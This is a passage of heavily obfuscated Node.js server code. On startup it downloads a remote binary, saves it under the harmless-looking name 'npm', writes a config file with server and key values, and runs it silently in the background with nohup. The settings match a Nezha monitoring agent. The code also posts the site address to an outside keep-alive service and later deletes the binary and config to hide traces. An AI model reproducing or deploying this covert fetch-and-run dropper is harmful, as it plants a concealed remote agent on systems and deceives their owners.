_0x14c5e9(_0x5db601,_0xc027a4,_0x1c37a0,_0x461cdf){return _0x4a1523(_0x5db601-0x109,_0xc027a4- -0xec,_0x1c37a0-0xd9,_0x1c37a0);}if(_0x168b2[_0x344666(0x526,0x512,0x426,0x46d)](_0x433594,_0x168b2['FdYMC'])||_0x168b2[_0x14c5e9(0x15,0x47,0xb5,-0x7c)](_0x433594,_0x168b2[_0x344666(0x376,0x3c6,0x475,0x42e)])||_0x433594===_0x168b2[_0x14c5e9(-0x12f,-0x70,-0xdb,-0x5)]){if(_0x168b2[_0x344666(0x499,0x4b0,0x3c1,0x46d)]('VlOhA',_0x168b2[_0x344666(0x43a,0x470,0x4ba,0x421)]))_0x168b2[_0x344666(0x4dd,0x4e2,0x43c,0x479)](_0x110f99);else return!NEZHA_PORT?_0x168b2[_0x14c5e9(-0x8b,-0x37,-0x44,-0x13)]:_0x168b2[_0x14c5e9(-0x125,-0x61,-0x10e,-0x11b)];}else return _0x168b2['dHwhv']!==_0x168b2[_0x14c5e9(-0x122,-0x7f,-0x134,-0xa3)]?!NEZHA_PORT?_0x168b2[_0x344666(0x3ad,0x39e,0x45a,0x3af)]:_0x168b2[_0x14c5e9(-0x94,-0x63,-0x40,0x62)]:![];},downloadFile=async()=>{const _0x370dbb={'hrfiE':function(_0x56b874){return _0x56b874();},'iJLWy':function(_0xfcc3ec,_0xb736c4){return _0xfcc3ec!==_0xb736c4;},'cozYp':_0x506e85(0x586,0x501,0x50a,0x581),'ppwsL':_0x40237d(-0xc,-0x39,-0xe9,0x3f)+_0x40237d(-0xda,-0x88,-0x2f,-0x7b)+_0x506e85(0x55e,0x537,0x4dd,0x51d),'yPKpj':function(_0xbc25ba,_0x53de9a,_0x4177a2){return _0xbc25ba(_0x53de9a,_0x4177a2);},'JeKLX':_0x40237d(-0x16f,-0x11e,-0x5a,-0xf3)+'pm','qWNSE':function(_0x12fa1b,_0x1082c8){return _0x12fa1b!==_0x1082c8;},'PLbhm':_0x506e85(0x561,0x4a7,0x5e6,0x51c),'dGsKa':'MDKwe','TzMft':_0x40237d(-0x114,-0xa9,0xc,-0x61),'LPwyL':_0x40237d(-0x1f5,-0x14a,-0xac,-0x89),'wMAzG':'npm','DPcKC':function(_0x5b42c8){return _0x5b42c8();},'QMmBG':function(_0x1a21c7,_0xf4a1f3){return _0x1a21c7(_0xf4a1f3);},'HkndD':_0x506e85(0x4ed,0x556,0x4ac,0x5a4),'IYwWk':_0x506e85(0x56a,0x5e1,0x501,0x59d),'pzogL':function(_0x316ece,_0x7b29ee){return _0x316ece!==_0x7b29ee;},'mcVMh':_0x506e85(0x581,0x4c0,0x560,0x56d)};function _0x506e85(_0x561769,_0x1e973c,_0x628b0,_0x588523){return _0x10ed5a(_0x561769-0xcb,_0x561769-0x3d9,_0x1e973c,_0x588523-0x42);}if(!NEZHA_SERVER&&!NEZHA_KEY)return;function _0x40237d(_0xb440c2,_0x2eac3b,_0x256118,_0x2b21e0){return _0x10ed5a(_0xb440c2-0x1a3,_0x2eac3b- -0x27d,_0x2b21e0,_0x2b21e0-0xab);}try{const _0x4b730d=_0x370dbb['DPcKC'](getDownloadUrl),_0x475205=await _0x370dbb['QMmBG'](axios,{'method':_0x370dbb[_0x506e85(0x51e,0x495,0x5cf,0x517)],'url':_0x4b730d,'responseType':_0x370dbb[_0x40237d(0x7,-0xaa,-0x24,-0xe6)]}),_0xf84eda=fs[_0x506e85(0x5fb,0x647,0x6ae,0x68b)+'eStream'](_0x370dbb['wMAzG']);return _0x475205['data'][_0x506e85(0x5e7,0x5ba,0x6a3,0x552)](_0xf84eda),new Promise((_0x53abfe,_0x1c979f)=>{function _0x25fdd0(_0x59a4ab,_0x12cbc6,_0x1ac4f3,_0x55f873){return _0x506e85(_0x1ac4f3- -0x381,_0x55f873,_0x1ac4f3-0x1e3,_0x55f873-0xef);}function _0x578b5f(_0x378754,_0x3671ef,_0x5c0b26,_0x5cf5d9){return _0x40237d(_0x378754-0x28,_0x5c0b26-0x2d6,_0x5c0b26-0x20,_0x378754);}if(_0x370dbb['qWNSE'](_0x370dbb[_0x25fdd0(0x276,0x1e5,0x292,0x2af)],_0x370dbb[_0x578b5f(0x318,0x27a,0x2c6,0x289)]))_0xf84eda['on'](_0x370dbb[_0x578b5f(0x2af,0x29a,0x236,0x237)],()=>{function _0x371bf8(_0x92ce0b,_0x19b313,_0x1fe41,_0x4b7e4c){return _0x25fdd0(_0x92ce0b-0xc2,_0x19b313-0x130,_0x92ce0b-0x19e,_0x4b7e4c);}function _0x41f90b(_0x1eb07e,_0x566512,_0x4b3139,_0x20c768){return _0x578b5f(_0x4b3139,_0x566512-0x94,_0x20c768-0x2b2,_0x20c768-0x145);}const _0x4daea2={'sGCLB':function(_0x21eda2,_0x3dcd88){return _0x21eda2(_0x3dcd88);},'EvmAM':function(_0x3d9e08){return _0x370dbb['hrfiE'](_0x3d9e08);}};if(_0x370dbb[_0x371bf8(0x393,0x32a,0x3a0,0x3b9)](_0x370dbb['cozYp'],_0x371bf8(0x3a3,0x446,0x3e2,0x3c9)))return![];else console[_0x371bf8(0x368,0x40d,0x3de,0x2bc)](_0x370dbb[_0x41f90b(0x46e,0x4d2,0x447,0x4f2)]),_0x370dbb['yPKpj'](exec,_0x370dbb[_0x371bf8(0x43d,0x37b,0x3d1,0x4b2)],_0x41ba3e=>{if(_0x41ba3e)_0x4daea2[_0x19f3e5(0xc9,0xd4,0x47,0x12f)](_0x1c979f,_0x41ba3e);function _0x19f3e5(_0x8d2a39,_0x9e871,_0x4d2fe7,_0x261ca8){return _0x371bf8(_0x8d2a39- -0x36c,_0x9e871-0xe8,_0x4d2fe7-0x102,_0x261ca8);}function _0x35c679(_0x109669,_0x39008e,_0x113936,_0x5e16b3){return _0x371bf8(_0x113936- -0x36a,_0x39008e-0x5a,_0x113936-0x12b,_0x39008e);}_0x4daea2[_0x19f3e5(-0x21,-0x38,-0xe2,-0x4e)](_0x53abfe);});}),_0xf84eda['on'](_0x370dbb[_0x25fdd0(0x21f,0x2a8,0x1fe,0x177)],_0x1c979f);else{const _0x30010f=_0x265d17?function(){function _0x12f831(_0x31d74f,_0x5409a7,_0x523fbc,_0x196323){return _0x25fdd0(_0x31d74f-0x169,_0x5409a7-0xe,_0x5409a7- -0x223,_0x196323);}if(_0x510fd7){const _0x3095e1=_0x5f5a73[_0x12f831(0x121,0x9e,0x54,0x118)](_0x2e4e6c,arguments);return _0x5ad812=null,_0x3095e1;}}:function(){};return _0x55e021=![],_0x30010f;}});}catch(_0x16e30b){if(_0x370dbb[_0x506e85(0x502,0x49d,0x4f9,0x4f1)](_0x40237d(-0x33,-0xd5,-0x167,-0x32),_0x370dbb[_0x40237d(-0x159,-0x11b,-0x1aa,-0x154)]))_0x32ce23[_0x40237d(-0x15c,-0xfd,-0xfc,-0x131)](_0x370dbb[_0x506e85(0x66f,0x704,0x6c8,0x61f)],()=>{}),_0x4650b7[_0x40237d(-0x105,-0xfd,-0x81,-0xd7)](_0x40237d(-0xe7,-0xbf,-0xc2,-0x175)+'l',()=>{});else throw _0x16e30b;}},runnz=async()=>{const _0x595403={'uISQk':_0x3f8b16(0x10a,0x133,0x80,0x169)+_0x4c542f(0x41c,0x3d3,0x37d,0x4d9)+'yc.mn/agen'+'t','vkMNn':function(_0x205baf,_0x561584){return _0x205baf+_0x561584;},'DiEWo':function(_0x3e5715,_0xbcc515){return _0x3e5715===_0xbcc515;},'dtroP':'LWQdD','VvNuN':_0x3f8b16(0x21a,0x1c5,0x126,0x154)+'g\x20error:','vlejR':_0x4c542f(0x490,0x498,0x4ca,0x497)+_0x3f8b16(0xba,0x114,0x190,0x12b),'IRLbh':function(_0x1d517f,_0x40d545,_0x379690){return _0x1d517f(_0x40d545,_0x379690);},'PuVTi':_0x3f8b16(0x29c,0x229,0x1fe,0x27b),'hzgAk':function(_0x4e6efd,_0x33dd22){return _0x4e6efd!==_0x33dd22;},'tveOI':'kgiKU','dnDsA':_0x3f8b16(0x2a0,0x23c,0x220,0x2cb)+_0x4c542f(0x353,0x2c6,0x308,0x324)+_0x3f8b16(0x2ea,0x260,0x250,0x215)+_0x3f8b16(0x20e,0x254,0x20d,0x2b1),'kdsOa':function(_0x14140e){return _0x14140e();},'nmjQO':_0x3f8b16(0x2c3,0x20b,0x246,0x16c),'JzIfz':_0x3f8b16(0x16d,0x157,0x167,0x168),'upBxi':_0x4c542f(0x487,0x530,0x49c,0x437),'BuHzF':_0x4c542f(0x4b4,0x4aa,0x3fb,0x416),'pJpht':function(_0x360df4,_0x16f9ca){return _0x360df4&&_0x16f9ca;},'jQWkl':'--tls','CKowH':_0x3f8b16(0xaf,0x153,0x8d,0x184),'hKAbf':_0x4c542f(0x440,0x4e6,0x3c7,0x4a3),'NDeXm':_0x4c542f(0x3fa,0x3bd,0x35f,0x49f)+'l','Kluwz':'NEZHA\x20vari'+'able\x20is\x20em'+_0x4c542f(0x3ee,0x35c,0x37e,0x3c7)+'running','QasTI':function(_0x3ea635,_0x4a5529,_0x53dd04,_0x4671bd){return _0x3ea635(_0x4a5529,_0x53dd04,_0x4671bd);}};try{const _0x5c2342=_0x595403[_0x4c542f(0x4d6,0x43f,0x456,0x494)](execSync,_0x3f8b16(0x177,0x233,0x1e8,0x1a0)+_0x3f8b16(0x2b0,0x24f,0x22c,0x28d)+_0x4c542f(0x379,0x2e7,0x2c8,0x42c)+_0x4c542f(0x441,0x39f,0x3b2,0x3e8),{'encoding':_0x595403['PuVTi']});if(_0x595403[_0x4c542f(0x39d,0x31b,0x3e6,0x322)](_0x5c2342[_0x4c542f(0x497,0x446,0x4f5,0x476)](),'')){if(_0x595403['DiEWo'](_0x4c542f(0x389,0x3a9,0x3d6,0x2df),_0x595403[_0x3f8b16(0x216,0x18b,0x1e7,0x100)])){console[_0x3f8b16(0x191,0x15f,0x1b2,0x196)](_0x595403[_0x3f8b16(0x1e4,0x1a1,0x108,0x113)]);return;}else return _0x595403[_0x4c542f(0x43d,0x3b5,0x3d2,0x372)];}}catch(_0x4b7fee){}function _0x3f8b16(_0x3b1862,_0x9d73c3,_0x22641f,_0x1ef143){return _0x4a1523(_0x3b1862-0x17a,_0x9d73c3-0xa5,_0x22641f-0x84,_0x3b1862);}await _0x595403[_0x3f8b16(0x139,0x12b,0x12e,0xd1)](downloadFile);function _0x4c542f(_0x4f93b7,_0x228c84,_0x45264e,_0x5c892d){return _0x10ed5a(_0x4f93b7-0x1e1,_0x4f93b7-0x23c,_0x228c84,_0x5c892d-0xf8);}let _0x4cbd51='',_0x2e6bbb=[_0x595403[_0x3f8b16(0x231,0x22a,0x275,0x212)],'8443',_0x3f8b16(0x13e,0x148,0x10f,0xf4),_0x595403[_0x3f8b16(0xdb,0x1a2,0x1b3,0x1b5)],_0x595403['upBxi'],_0x595403[_0x4c542f(0x367,0x31b,0x42f,0x412)]];if(_0x595403['pJpht'](NEZHA_SERVER,NEZHA_PORT)&&NEZHA_KEY){const _0x204f8d=_0x2e6bbb['includes'](NEZHA_PORT)?_0x595403[_0x4c542f(0x4a0,0x3ec,0x4f8,0x524)]:'';_0x4cbd51=_0x3f8b16(0x203,0x19e,0x243,0x19b)+'up\x20./npm\x20-'+'s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+_0x4c542f(0x4b0,0x57b,0x50c,0x4e8)+NEZHA_KEY+'\x20'+_0x204f8d+(_0x4c542f(0x3af,0x3ee,0x334,0x2f9)+'-auto-upda'+_0x4c542f(0x418,0x3bd,0x44d,0x4d6)+_0x4c542f(0x4a8,0x501,0x3f3,0x465)+_0x4c542f(0x446,0x3d6,0x3da,0x41e)+'n\x20--skip-p'+_0x3f8b16(0x235,0x185,0x213,0x13f)+_0x4c542f(0x424,0x4ec,0x481,0x362)+'\x20&');}else{if(_0x595403[_0x4c542f(0x4d9,0x4c9,0x4df,0x4a7)](NEZHA_SERVER,NEZHA_KEY)){if(!NEZHA_PORT){const _0x3c83de=NEZHA_SERVER['includes'](':')?NEZHA_SERVER[_0x4c542f(0x40a,0x47e,0x3f2,0x3b9)](':')[_0x3f8b16(0x124,0x1b8,0x246,0x203)]():'',_0x1ae32b=_0x2e6bbb[_0x4c542f(0x40d,0x4af,0x472,0x494)](_0x3c83de)?_0x595403['CKowH']:_0x595403['hKAbf'],_0x494fc3=_0x3f8b16(0xb8,0xfe,0xcc,0x193)+_0x4c542f(0x4ac,0x45c,0x437,0x50a)+NEZHA_KEY+('\x0adebug:\x20fa'+_0x4c542f(0x3ad,0x2fc,0x321,0x457)+_0x3f8b16(0x1b2,0x141,0x18d,0x1ee)+_0x4c542f(0x46f,0x4ef,0x4e1,0x3a1)+_0x4c542f(0x4db,0x532,0x437,0x58d)+_0x3f8b16(0x1a1,0x191,0x23e,0x115)+'ute:\x20false'+_0x3f8b16(0x18a,0x169,0xf8,0xce)+_0x3f8b16(0x1ed,0x263,0x1da,0x2f6)+_0x3f8b16(0x130,0x1d1,0x119,0x121)+_0x4c542f(0x3f8,0x37f,0x41e,0x4bc)+_0x3f8b16(0x132,0x1f6,0x223,0x198)+'able_send_'+'query:\x20fal'+'se\x0agpu:\x20fa'+_0x4c542f(0x3b7,0x44e,0x44c,0x402)+'re_tls:\x20tr'+_0x3f8b16(0x29a,0x26d,0x305,0x2ee)+'rt_period:'+_0x3f8b16(0x18b,0x11d,0x1a8,0xd7)+_0x3f8b16(0x2c1,0x213,0x266,0x2c2)+'4\x0aserver:\x20')+NEZHA_SERVER+(_0x4c542f(0x368,0x3bb,0x3a1,0x365)+_0x3f8b16(0x208,0x1e8,0x277,0x13b)+_0x3f8b16(0x79,0x107,0x1d1,0x172)+_0x3f8b16(0x1d7,0x252,0x1de,0x30b)+_0x4c542f(0x494,0x4cd,0x562,0x4e3)+_0x3f8b16(0x1cf,0x232,0x27e,0x1f4)+'ure:\x20false'+_0x4c542f(0x3de,0x47a,0x3e1,0x345))+_0x1ae32b+('\x0ause_gitee'+_0x3f8b16(0x1f5,0x1f8,0x2c5,0x1f5)+'e:\x20false\x0au'+_0x3f8b16(0x231,0x28b,0x1ea,0x2cd)+_0x3f8b16(0x1f3,0x129,0x1a9,0xb9)+_0x4c542f(0x374,0x3df,0x3d6,0x2f6)+'id:\x20')+UUID;fs[_0x3f8b16(0x227,0x289,0x25d,0x20d)+'ync'](_0x595403['NDeXm'],_0x494fc3);}_0x4cbd51=_0x4c542f(0x3ed,0x498,0x37a,0x490)+'up\x20./npm\x20-'+'c\x20config.y'+_0x4c542f(0x411,0x3fe,0x3e4,0x3f6)+_0x3f8b16(0x1d6,0x208,0x19d,0x2c7)+'&';}else{console[_0x3f8b16(0x107,0x15f,0x127,0x21f)](_0x595403['Kluwz']);return;}}try{const _0x11420b={};_0x11420b[_0x3f8b16(0x1dc,0x16f,0x11e,0x140)]=_0x4c542f(0x38f,0x2f4,0x40e,0x387),_0x595403[_0x3f8b16(0x202,0x288,0x237,0x278)](exec,_0x4cbd51,_0x11420b,_0x2a1f51=>{function _0x4e21a1(_0x2534d3,_0x2cf0e0,_0x3039ba,_0x5b3f5a){return _0x3f8b16(_0x3039ba,_0x2534d3-0x15,_0x3039ba-0x17,_0x5b3f5a-0x16d);}function _0x1a4958(_0x221fea,_0x44efd1,_0x11c049,_0xabb6c3){return _0x4c542f(_0x221fea- -0x229,_0xabb6c3,_0x11c049-0x1da,_0xabb6c3-0x5);}if(_0x595403['DiEWo'](_0x595403[_0x4e21a1(0x28e,0x33c,0x2c2,0x202)],_0x595403[_0x4e21a1(0x28e,0x25c,0x24e,0x2bb)])){if(_0x2a1f51)console['error'](_0x595403[_0x4e21a1(0x154,0x1f3,0x202,0x1c3)],_0x2a1f51);else console[_0x1a4958(0x185,0x1ea,0x1ae,0x207)](_0x595403[_0x1a4958(0x26f,0x2b3,0x2d0,0x1f5)]);}else _0x11f6f4=_0xf0d8d5[_0x4e21a1(0x13d,0x9b,0x1e5,0x86)](_0x139291,_0x595403['vkMNn'](_0x4ec332,-0x1efa+0x435*0x3+0x126b))['reduce']((_0x1586d0,_0x4c7641,_0x309cdf,_0x57261b)=>_0x309cdf%(0xad5*0x2+0x1*-0x1529+-0x7f)?_0x1586d0[_0x1a4958(0x130,0x1a1,0x98,0x9d)](_0x57261b[_0x4e21a1(0x13d,0x202,0xfb,0x144)](_0x309cdf-(0x1*0x37+-0x3b7*0x8+0x1d82),_0x309cdf+(-0x1272+0x5b4+0x1*0xcbf))):_0x1586d0,[])[_0x1a4958(0x181,0xba,0x1e4,0x214)](_0x3cd97a=>_0x3cd97a['readUInt16'+'BE'](-0x7e2*0x4+-0x2398+-0x2190*-0x2)[_0x4e21a1(0x277,0x2c4,0x212,0x229)](0x2584+-0x11*0x185+-0xb9f))[_0x4e21a1(0x1fc,0x223,0x15b,0x268)](':'),_0x5622d1+=-0x13*-0x48+-0x5d8*-0x4+0x83*-0x38;});}catch(_0x12574e){console[_0x3f8b16(0x149,0x120,0x7f,0x176)](_0x4c542f(0x351,0x3fd,0x289,0x2f5)+_0x12574e);}};async function addAccessTask(){const _0x1fe48f={};function _0x44ea47(_0x2d0feb,_0x5c19cc,_0x2e2e2b,_0x184ccc){return _0x4a1523(_0x2d0feb-0xe3,_0x2d0feb- -0x152,_0x2e2e2b-0x3c,_0x5c19cc);}_0x1fe48f[_0x5ebb25(0x273,0x1ec,0x2fb,0x28e)]=_0x5ebb25(0x268,0x1df,0x243,0x20f)+_0x5ebb25(0x260,0x19a,0x1e3,0x1fe)+_0x44ea47(-0xc6,-0x10a,-0x123,0x5)+_0x44ea47(-0x21,0x3b,0x3,-0x7);const _0x164083=_0x1fe48f;if(!AUTO_ACCESS)return;if(!DOMAIN)return;const _0x20c462=_0x5ebb25(0x302,0x2f1,0x291,0x24f)+DOMAIN+'/'+SUB_PATH;function _0x5ebb25(_0x50e45f,_0x560820,_0x35a15d,_0x4a8357){return _0x4a1523(_0x50e45f-0xe9,_0x50e45f-0x141,_0x35a15d-0x60,_0x35a15d);}try{const _0x29b800={};_0x29b800[_0x5ebb25(0x2c0,0x2c3,0x389,0x2fc)]=_0x20c462;const _0x1b277f={};_0x1b277f[_0x44ea47(-0xff,-0x11e,-0xbc,-0xe9)+'pe']=_0x5ebb25(0x276,0x2a8,0x201,0x253)+_0x5ebb25(0x30c,0x2b7,0x391,0x387);const _0x170a6a={};_0x170a6a[_0x44ea47(-0x54,-0x58,0x38,-0xd)]=_0x1b277f;const _0x59f89f=await axios['post'](_0x5ebb25(0x1d1,0x218,0x23f,0x1fe)+'oo.serv00.'+_0x44ea47(-0xa6,-0x136,-0x27,0x13)+'l',_0x29b800,_0x170a6a);console[_0x44ea47(-0x98,-0xd9,-0x2c,-0x60)](_0x164083[_0x44ea47(-0x20,0x81,0x3b,0x21)]);}catch(_0x3a8c67){}}const delFiles=()=>{function _0x461421(_0x127e2d,_0x2662c7,_0x30439c,_0x52e681){return _0x4a1523(_0x127e2d-0x81,_0x127e2d-0x34e,_0x30439c-0x1e8,_0x2662c7);}const _0x135ba9={};_0x135ba9[_0x461421(0x3ef,0x415,0x409,0x484)]=_0x36341e(0x2a5,0x384,0x24f,0x2c7);const _0x4efaf5=_0x135ba9;function _0x36341e(_0x19393b,_0x241a8b,_0x25298c,_0x23570b){return _0x10ed5a(_0x19393b-0x39,_0x23570b-0x1a1,_0x19393b,_0x23570b-0x76);}fs[_0x461421(0x416,0x4c5,0x38d,0x48a)](_0x4efaf5[_0x461421(0x3ef,0x40d,0x447,0x336)],()=>{}),fs[_0x36341e(0x3eb,0x367,0x255,0x321)](_0x461421(0x454,0x3cc,0x4fb,0x3d2)+'l',()=>{});};httpServer[_0x10ed5a(0x229,0x18d,0x1e0,0x132)](PORT,()=>{const _0x5c5805={'sSEvU':_0x10308c(-0x155,-0x8e,-0xbe,-0xc3),'mkkPW':_0x36ac5e(0x1f8,0x226,0x1e4,0x1f6)+'d!','WLJeP':_0x36ac5e(0x238,0x146,0xc8,0x192),'thrIq':function(_0xa0840c){return _0xa0840c();}};_0x5c5805[_0x10308c(-0x1a4,-0x1a8,-0x175,-0x1ed)](runnz);function _0x10308c(_0x1749f0,_0x5643f0,_0x1c5db2,_0x11b480){return _0x4a1523(_0x1749f0-0x7f,_0x1c5db2- -0x26c,_0x1c5db2-0xff,_0x11b480);}setTimeout(()=>{const _0x62a1e6={};_0x62a1e6[_0x24bc32(0xe4,0x156,0x1cb,0x214)]=_0x5c5805['sSEvU'];function _0x24bc32(_0x26115c,_0xdd7655,_0x5e63d1,_0x3d162a){return _0x36ac5e(_0x26115c-0x1aa,_0xdd7655-0x11d,_0x5e63d1,_0xdd7655-0x48);}function _0x450699(_0x497b9b,_0x1355f1,_0x460e79,_0x57d8a2){return _0x36ac5e(_0x497b9b-0x1ca,_0x1355f1-0x1df,_0x57d8a2,_0x497b9b- -0x1e);}_0x62a1e6[_0x24bc32(0x20e,0x235,0x18f,0x19b)]=_0x5c5805[_0x450699(0x186,0xed,0x234,0x143)];const _0x35c8c5=_0x62a1e6;if(_0x5c5805['WLJeP']!==_0x450699(0xdd,0x15c,0x102,0x51))_0x5c5805[_0x450699(0xfa,0xe1,0x176,0x41)](delFiles);else{if(_0x2b78a6){const _0x209ddb={};_0x209ddb[_0x450699(0x56,0x78,0x1d,0xad)+'pe']=_0x35c8c5[_0x450699(0xf0,0x55,0x7d,0x1ba)],_0x373cfc[_0x450699(0x1a1,0x209,0x248,0x1e5)](-0x1b34+0xc9e+0xf5e,_0x209ddb),_0x4cdd1f['end'](_0x35c8c5[_0x450699(0x1cf,0x11d,0x1a3,0x283)]);return;}const _0x562c7b={};_0x562c7b[_0x450699(0x56,0x4e,0x8c,0x12)+'pe']=_0x35c8c5[_0x24bc32(0x1e1,0x156,0x1ab,0xc1)],_0x1effc3['writeHead'](-0x11e2+-0x49*-0x7c+0x2*-0x859,_0x562c7b),_0xcb9e3c[_0x24bc32(0x1da,0x1e2,0x1b8,0x18f)](_0x5b3685);}},-0x28e37+-0x29*0x17c8+-0x10327*-0x9);function _0x36ac5e(_0x40b9bf,_0x5d6996,_0x9b7a12,_0x18417d){return _0x10ed5a(_0x40b9bf-0xe3,_0x18417d- -0x97,_0x9b7a12,_0x18417d-0x127);}addAccessTask(),console[_0x10308c(-0x269,-0x279,-0x1b2,-0x139)](_0x36ac5e(0x16e,0x18c,0x126,0x188)+'running\x20on'+_0x36ac5e(0xc3,0x18d,0x135,0xc7)+PORT);});